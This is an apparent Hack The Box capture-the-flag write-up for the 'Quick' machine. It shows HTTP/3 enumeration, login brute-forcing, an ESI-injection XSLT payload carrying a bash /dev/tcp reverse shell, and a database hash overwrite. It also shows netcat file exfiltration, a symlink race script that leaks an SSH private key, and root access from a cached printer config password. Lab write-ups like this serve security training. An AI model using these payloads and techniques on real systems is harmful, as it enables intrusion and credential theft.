Hack The Box - Quick


Quick is a hard and very interesting box, First we need to access a webpage hosted over Quic / HTTP version 3. We need to exploit a printer service that gives us one of the users private ssh keys Finally, to get root we need to find creds in a cached config file.

Link: https://www.hackthebox.eu/home/machines/profile/244

Let’s Begin with our Initial Nmap Scan.

Nmap TCP Scan Results

22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fb:b0:61:82:39:50:4b:21:a8:62:98:4c:9c:38:82:70 (RSA)
|   256 ee:bb:4b:72:63:17:10:ee:08:ff:e5:86:71:fe:8f:80 (ECDSA)
|_  256 80:a6:c2:73:41:f0:35:4e:5f:61:a7:6a:50:ea:b8:2e (ED25519)
9001/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Quick | Broadband Services
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.32 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.11 (92%), Linux 3.2 - 4.9 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap UDP Scan Results

443/udp open|filtered https

UDP https:443 port generally, the https port that run on udp are HTTP/3

HTTP Enumeration

It looks like an normal Broadband service webpage. Start exploring more.


Gobuster Results

Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:            http://quick.htb:9001/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,txt
[+] Timeout:        10s
2020/06/04 08:38:54 Starting gobuster
/clients.php (Status: 200)
/db.php (Status: 200)
/home.php (Status: 200)
/index.php (Status: 200)
/login.php (Status: 200)
/search.php (Status: 200)
/server-status (Status: 200)
/ticket.php (Status: 200)
2020/06/04 08:44:10 Finished



There is a login page. I can’t find anything useful at this time.

Quic Enumeration

We know HTTPS port running in UDP will be mostly HTTP3. To enumerate it we an use curl with http3 option but its not working for me. So I searched for anyother tool that helps me in this situation and found this.

Make sure to run these commands to set everything.

git clone --recursive https://github.com/cloudflare/quiche
sudo apt install cargo
sudo apt install cmake
cargo build --examples

And Its working perfectly. Let’s dig in.

root@kali:/opt/quiche/target/debug/examples# ./http3-client https://quick.htb

<title> Quick | Customer Portal</title>
<h1>Quick | Portal</h1>
ul {
  list-style-type: none;
  margin: 0;
  padding: 0;
  width: 200px;
  background-color: #f1f1f1;

li a {
  display: block;
  color: #000;
  padding: 8px 16px;
  text-decoration: none;

/* Change the link color on hover */
li a:hover {
  background-color: #555;
  color: white;
<p> Welcome to Quick User Portal</p>
  <li><a href="index.php">Home</a></li>
  <li><a href="index.php?view=contact">Contact</a></li>
  <li><a href="index.php?view=about">About</a></li>
  <li><a href="index.php?view=docs">References</a></li>

If you check the source code here, it shows some webpages, So I started checking them all.

And Here I found 2 pdf file. So I downloaded them to my machine.

root@kali:/opt/quiche/target/debug/examples# ./http3-client https://quick.htb/index.php?view=docs
<!DOCTYPE html>
<meta name="viewport" content="width=device-width, initial-scale=1">

<h1>Quick | References</h1>
  <li><a href="docs/QuickStart.pdf">Quick-Start Guide</a></li>
  <li><a href="docs/Connectivity.pdf">Connectivity Guide</a></li>
root@kali:/opt/quiche/target/debug/examples# ./http3-client https://quick.htb/docs/QuickStart.pdf > QuickStart.pdf
root@kali:/opt/quiche/target/debug/examples# ./http3-client https://quick.htb/docs/Connectivity.pdf > Connectivity.pdf

The QuickStart.pdf doesn’t seems useful but in Connectivity.pdf. It revelas a password.


Password is : Quick4cc3$$

And all we need a email or username to login on port 9001 now. If you remember we some names in quick.htb


And with their country, I created a wordlist




Used wfuzz to bruteforce the login.

root@kali:~/CTF/HTB/Boxes/Quick# wfuzz -X POST -u 'http://quick.htb:9001/login.php' -d 'email=FUZZ&password=Quick4cc3$$' -w email.txt --hc 200 -c

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

* Wfuzz 2.4.5 - The Web Fuzzer                         *

Target: http://quick.htb:9001/login.php
Total requests: 8

ID           Response   Lines    Word     Chars       Payload                                                                                                                                                                      

000000005:   302        0 L      0 W      0 Ch        "elisa@wink.co.uk"                                                                                                                                                           

Total time: 1.510479
Processed Requests: 8
Filtered Requests: 7
Requests/sec.: 5.296331

So I logged in with the credentials we found elisa@wink.co.uk: Quick4cc3$$


/ticket.php I submitted a test ticket to see what happens


It provides me a Ticket Number


So we can also track our tickets in the home.php. I decided to check whats happening internally.


Captured the ticket submitting in burp.


The response header seems interesting. It is Powered-By Esigate

Esigate allows a fast and invisible mashup of any web applications. It can be used to add application modules, written in any programming language (PHP, Java, . Net…) to a CMS, without cache or accessibility issues.

I looked for any exploit available for it and this comes up


So according to the article ESI includes are tags which, when processed by the proxy or load balancer, perform a side HTTP request to fetch dynamic content. If an attacker can add an ESI include tag to the HTTP response, they can effectively perform SSRF attacks in the context of the surrogate server (not the application server).

For that I tried injecting the payload in tickets.php first. I tried in title parameter and msg parameter and finally I get the response on my python server when injecting in id

<esi:include src="" />


Getting Shell

According to the article we need xsl which contains our payload.

Note: Once a file created with an name and uploaded, you can’t use the same filename. For example, If you use shell.xsl as first time you can use shell.xsl second time so change it to shell2.xsl like that.


Here In cmd I changed to Java Reverse shell. I tried number of payloads and everything fails, the thing why I chose JAVA reverse shell is from the article By default, the XML parser in Java allows the import of Java functions. This can easily lead to arbitrary code execution.

That’s why I decided to try this.

<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
<xsl:variable name="cmd"><![CDATA[bash -c bash${IFS}-i${IFS}>&/dev/tcp/<&1]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>

This is the payload for ticket.php


So I created a ticket with include tag and that download the .xsl file and do the remote code execution.


I got the shell.

Getting 2nd User

While enumerating I found database password.

sam@quick:/var/www/html$ cat db.php                  
cat db.php
$conn = new mysqli("localhost","db_adm","db_p4ss","quick");

I logged in with that and dump that all the hashes for the users.

sam@quick:/tmp$ mysql -D quick -u db_adm -p
mysql -D quick -u db_adm -p
Enter password: db_p4ss

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 8235
Server version: 5.7.29-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
show databases;
| Database           |
| information_schema |
| mysql              |
| performance_schema |
| quick              |
| sys                |
5 rows in set (0.00 sec)

mysql> use quick
use quick
Database changed
mysql> show tables;
show tables;
| Tables_in_quick |
| jobs            |
| tickets         |
| users           |
3 rows in set (0.00 sec)

mysql> select * from users;
select * from users;
| name         | email            | password                         |
| Elisa        | elisa@wink.co.uk | c6c35ae1f3cb19438e0199cfa72a9d9d |
| Server Admin | srvadm@quick.htb | e626d51f8fbfd1124fdea88396c35d05 |
2 rows in set (0.00 sec)


When I tried to crack it, it doesn’t work.

When I check the index.php

sam@quick:/var/www/printer$ cat index.php
cat index.php
if(isset($_POST["email"]) && isset($_POST["password"]))
        $password = $_POST["password"];
        $password = md5(crypt($password,'fa'));
        $stmt=$conn->prepare("select email,password from users where email=? and password=?");
        $result = $stmt->get_result();
        $num_rows = $result->num_rows;
        if($num_rows > 0 && $email === "srvadm@quick.htb")
                header("location: home.php");
                echo '<script>alert("Invalid Credentials");window.location.href="/index.php";</script>';

They uses a salt fa

Instead of cracking the password we know elisa password so why don’t we use the same password for srvadm too. To confirm the elisa salt I checked /var/www/html/login.php

sam@quick:/var/www/html$ cat login.php
cat login.php
if(isset($_POST["email"]) && isset($_POST["password"]))
	$password = $_POST["password"];
	$password = md5(crypt($password,'fa'));
        $stmt=$conn->prepare("select email,password from users where email=? and password=?");
        $result = $stmt->get_result();
        $num_rows = $result->num_rows;
        if($num_rows > 0)
		header("location: home.php");
		echo '<script>alert("Invalid Credentials");window.location.href="/login.php";</script>';

This is the source file of login.php which we used to login as elisa and here we can see, same salt fa

Logged back to database and changed the password of srvadm

mysql> UPDATE users
UPDATE users
    -> SET password = 'c6c35ae1f3cb19438e0199cfa72a9d9d'
SET password = 'c6c35ae1f3cb19438e0199cfa72a9d9d'
    -> WHERE name  = 'Server Admin';
WHERE name  = 'Server Admin';
Query OK, 1 row affected (0.00 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> select * from users;
select * from users;
| name         | email            | password                         |
| Elisa        | elisa@wink.co.uk | c6c35ae1f3cb19438e0199cfa72a9d9d |
| Server Admin | srvadm@quick.htb | c6c35ae1f3cb19438e0199cfa72a9d9d |
2 rows in set (0.00 sec)

So the question is where we gonna use it.

I looked at apache2 config files we get to know a subdomain.

sam@quick:/etc/apache2/sites-available$ cat 000-default.conf 
<VirtualHost *:80>
	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

<VirtualHost *:80>
	AssignUserId srvadm srvadm
	ServerName printerv2.quick.htb
	DocumentRoot /var/www/printer
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

So I added that in /etc/hosts and I logged in with srvadm@quick.htb : Quick4cc3$$


We logged in to the dashboard.


I compress the whole /var/www/printer folder and send that via netcat

sam@quick:/tmp$ tar -zcf /tmp/printer.tar.gz /var/www/printer
tar -zcf /tmp/printer.tar.gz /var/www/printer
tar: Removing leading `/' from member names
sam@quick:/tmp$ nc -w 3 1234 < printer.tar.gz
nc -w 3 1234 < printer.tar.gz

On my machine, now I do code analysis on them easily.

root@kali:~/CTF/HTB/Boxes/Quick# nc -l -p 1234 > printer.tar.gz
root@kali:~/CTF/HTB/Boxes/Quick# ls
connectivity.pdf  hash.john  printer.tar.gz  shell00.xsl
root@kali:~/CTF/HTB/Boxes/Quick# tar -xzf printer.tar.gz



I created a new printer named wolf and gave my machine IP address.

And started python server on my machine on that port 9100 This acts as printer.

root@kali:~/CTF/HTB/Boxes/Quick# python -m SimpleHTTPServer 9100
Serving HTTP on port 9100 ...


Here I can see the printer I added and by clicking the print in Actions


It tells me to add a Job


By clicking the print I get Job Assigned


And in my python server, So what we typed in the web is printed out here ( which acts as printer).

root@kali:~/CTF/HTB/Boxes/Quick# python -m SimpleHTTPServer 9100
Serving HTTP on port 9100 ... - - [05/Jun/2020 11:33:41] code 400, message Bad request version ('Vulnerable\x1dVA\x03') - - [05/Jun/2020 11:33:41] "I am VulnerableVA" 400 -

Analyzing add_printer.php

$error = $message = $title = $type = $profile = $char_per_line = $path = $ip_address = $port = '';


    if (empty($_POST["title"])) { $error .= '<p><strong>Title</strong> is required</p>'; }
    if (empty($_POST["type"])) { $error .= '<p><strong>Type</strong> is required</p>'; }
    if (empty($_POST["profile"])) { $error .= '<p><strong>Profile</strong> is required</p>'; }

    if ($_POST["type"] == 'network') {
        if (empty($_POST["ip_address"])) { $error .= '<p><strong>IP Address</strong> is required</p>'; }
        if (empty($_POST["port"])) { $error .= '<p><strong>Port</strong> is required</p>'; }

    $title = $_POST["title"];
    $ip_address = $_POST["ip_address"];
    $port = $_POST["port"];
    $stmt=$conn->prepare("insert into jobs values(?,?,?)");

So It used db.php which is nothing that helps to connect to MYSQL database. And It add the details we give in jobs table.

mysql> select * from jobs;
select * from jobs;
| title | ip         | port |
| wolf  | | 9100 |
1 row in set (0.00 sec)

Here we can see the details we added.

Analyzing printers.php

			$stmt=$conn->prepare("delete from jobs where title=?");
			$message="Printer Deleted";
			$stmt=$conn->prepare("select ip,port from jobs where title=?");
			$result = $stmt->get_result();
			if($result->num_rows > 0)
				$row = $result->fetch_assoc();
				$ip = $row["ip"];
				$fp = fsockopen($ip,$port,$errno, $errstr, 20);
					$message='Printer is up. Please add a <a href="job.php?title='.$title.'">job</a>';
					$error = "Can't connect to the printer";


It fetches the details from the jobs table and displays in the Title, IP address and Port printers.php.

Analyzing job.php

require __DIR__ . '/escpos-php/vendor/autoload.php';
use Mike42\Escpos\PrintConnectors\NetworkPrintConnector;
use Mike42\Escpos\Printer;

		$file = date("Y-m-d_H:i:s");
		$stmt=$conn->prepare("select ip,port from jobs");
		if($result->num_rows > 0)
				$connector = new NetworkPrintConnector($ip,$port);
				sleep(0.5); //Buffer for socket check
				$printer = new Printer($connector);
				$printer -> text(file_get_contents("/var/www/jobs/".$file));
				$printer -> cut();
				$printer -> close();
				$message="Job assigned";
			catch(Exception $error) 
				$error="Can't connect to printer.";
			$error="Couldn't find printer.";


Once we press the print in the Actions , we need to go job.php from where it ask for Bill Details and this is the main thing Once you Press the Print button it created a file in the format date("Y-m-d_H:i:s") and placed it in /var/www/jobs/and gives it chmod 0777 permission to it and wait sleep 0.5 and then it print out what we send from the web to the Printer which is our port listening in 9100

So I made a simple python script, what it do is, it keeps on list the directory /var/www/jobs and once a file created here it will symlink the /var/www/jobs file to the srvadm private keys. So when file_get_contents will print out the private key.


import os

while True:
	jobs = os.listdir("/var/www/jobs")

	if len(jobs) <= 0:
	for job in jobs:
		os.system(f"ln -sf /home/srvadm/.ssh/id_rsa /var/www/jobs/{jobs[0]}")

Started Job in the Actions


Make sure your python script is running and netcat too and click Print


The symlink works and my printer dumps the private key of srvadm


Privilege Escalation

When looking around user srvadm folder there is /.cache/conf.d

srvadm@quick:~/.cache/conf.d$ ls
cupsd.conf  printers.conf
srvadm@quick:~/.cache/conf.d$ cat printers.conf 
# Printer configuration file for CUPS v2.3.0
# Written by cupsd on 2020-02-18 17:11
NextPrinterId 5
<Printer Aviatar>
MakeModel KONICA MINOLTA C554SeriesPS(P)
DeviceURI https://srvadm%40quick.htb:%26ftQ4K3SGde8%3F@printerv3.quick.htb/printer
State Idle
StateTime 1549274624
ConfigTime 1549274625
Type 8401100
Accepting Yes

This is the printers configuration file and here we can see the srvadm and it looks like a URL

URL decoded that and it seems like password.


I logged into root with &ftQ4K3SGde8?

srvadm@quick:~/.cache/conf.d$ su -
root@quick:~# cd /root
root@quick:~# ls
docker-compose.yml  fullchain.pem  nginx.conf  portal  privkey.pem  root.txt
root@quick:~# cat root.txt